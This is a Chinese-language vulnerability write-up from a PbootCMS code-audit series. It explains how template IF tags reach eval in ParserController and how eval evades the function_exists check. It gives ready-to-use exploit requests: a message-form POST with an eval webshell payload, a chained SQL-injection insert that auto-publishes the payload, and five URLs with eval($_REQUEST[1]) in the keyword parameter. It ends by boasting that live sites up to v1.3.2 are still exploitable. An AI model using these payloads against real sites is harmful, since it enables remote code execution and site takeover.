0x12 前台命令执行漏洞

0x12.0 漏洞讲解

帮助手册文件路径:PbootCMS-V1.2.1\doc\help.chm

PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图2

文件路径:apps\home\controller\ParserController.php
方法:parserIfLabel(

  1. // 解析IF条件标签
  2. public function parserIfLabel($content)
  3. {
  4. $pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
  5. $pattern2 = '/pboot:([0-9])+if/';
  6. if (preg_match_all($pattern, $content, $matches)) {
  7. $count = count($matches[0]);
  8. for ($i = 0; $i < $count; $i ++) {
  9. $flag = '';
  10. $out_html = '';
  11. $danger = false;
  12. $white_fun = array(
  13. 'date',
  14. 'in_array',
  15. 'explode',
  16. 'implode',
  17. 'get',
  18. 'post',
  19. 'session',
  20. 'cookie'
  21. );
  22. // 带有函数的条件语句进行安全校验
  23. if (preg_match_all('/([\w]+)([\s]+)?\(/i', $matches[1][$i], $matches2)) {
  24. foreach ($matches2[1] as $value) {
  25. if (function_exists($value) && ! in_array($value, $white_fun)) {
  26. $danger = true;
  27. break;
  28. }
  29. }
  30. }
  31. // 如果有危险函数,则不解析该IF
  32. if ($danger) {
  33. continue;
  34. } else {
  35. $matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串
  36. }
  37. eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
  38. ...
  39. }
  40. return $content;
  41. }

可以看得到这里有个使用了个eval 函数 可以通过手册提供的IF标签来执行代码

{pboot:if(php code)}!!!{/pboot:if}

这里的话有个比较骚的地方,就是他用了 函数 function_exists 来判断是否给定义了函数。一般来说,这样就稳了,但是总是有意外的吗,看到这个函数的时候就知道怎么搞了,直接使用 eval 就可以绕过他function_exists 函数会返回false 这样$danger 就不会为true 不为true就可以任意执行代码了。

注意点:

PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图3
PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图4

eval 是一个语言结构器,而function_exists 不可解析 所以直接返回了false

而漏洞触发点很多一共5处

PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图5

  1. 只要前台使用了 parserAfter 方法 并且 $content 内容是我们可控即可造成任意命令执行

0x13.1 命令执行漏洞演示一

PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图6

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
  2. post
  3. contacts = P测试
  4. mobile = 18218545644
  5. content = {pboot:if(eval($_POST[1]))}!!!{/pboot:if}
  6. checkcode = 验证码

提交以后去后台

PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图7
PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图8

这里在实战利用的时候有一个很关键的问题。就是需要管理员点击显示。那不是很没用了么?

除非我们可以找到一个注入让他在入库的时候就修改为前端可显示的状态。

0x13.2 漏洞进化-组合漏洞-前端无限制命令执行

还记得我们前面 0x08.1 的留言处sql注入么。利用它就可以直接在前台显示,造成命令执行了
PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图9

  1. url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
  2. post:
  3. contacts[acode`,`mobile`,`content`,`user_ip`,`user_os`,`user_bs`,`recontent`,`status`,`create_user`,`update_user`,`create_time`,`update_time`) VALUES ('cn','1',0x7B70626F6F743A6966286576616C28245F504F53545B315D29297D2121217B2F70626F6F743A69667D,'1','1','1','1','1','1','1','1','1'); -- a] = 1
  4. mobile = 1
  5. content = 1

PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图10
PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图11
PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图12

这样就可以直接命令执行了,让他无限制

0x14 前台命令执行二,三,四,五

看起来好像很多其实都是就是一处 : )

  1. http://127.0.0.1/cms/PbootCMS/index.php/index/index?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
  2. http://127.0.0.1/cms/PbootCMS/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
  3. http://127.0.0.1/cms/PbootCMS/index.php/List/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
  4. http://127.0.0.1/cms/PbootCMS/index.php/About/1?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();
  5. http://127.0.0.1/cms/PbootCMS/index.php/Search/index?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

PbootCMS代码审计全过程之四-漏洞测试-前台代码执行 - 图13

0x15 备注

在准备发布的时候,我又测了一波发现是可以一路杀到 PbootCMS v1.3.2 的,官网现在的版本是 1.3.3 所以能杀的站还是很多的。